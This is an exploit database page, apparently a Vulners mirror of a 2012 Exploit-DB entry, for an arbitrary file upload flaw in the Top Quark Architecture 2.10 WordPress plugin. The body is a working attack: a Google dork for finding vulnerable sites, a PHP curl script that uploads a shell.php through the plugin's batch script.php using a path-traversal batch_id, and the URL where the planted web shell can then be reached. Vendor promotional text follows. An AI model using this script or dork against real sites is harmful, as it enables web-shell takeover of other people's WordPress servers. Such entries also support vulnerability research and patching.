Lucene search
K

WordPress Plugin Top Quark Architecture 2.10 - Arbitrary File Upload

🗓️ 11 Jun 2012 00:00:00Reported by Adrien ThierryType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 454 Views

WordPress Plugin Top Quark Architecture 2.10 Arbitrary File Upload via batch scrip

Code
###########################################################
#
# Exploit Title: Wordpress Top Quark Architecture Version 2.10 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/
# Date: 11/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://topquark.com/
# Software Link: http://downloads.wordpress.org/plugin/topquark.zip
# Version: 2.10
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/script.php

exploit :

<?php
$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\shell.php";
$c = curl_init("http://127.0.0.1/wordpress/wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/script.php?batch_id=../../shell.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('upload'=>"@$u"
));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>

You can choose where upload the shell with param batch_id

Shell access : http://site.com/wp-content/plugins/topquark/lib/js/fancyupload/showcase/shell.php1

#####################################################################

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation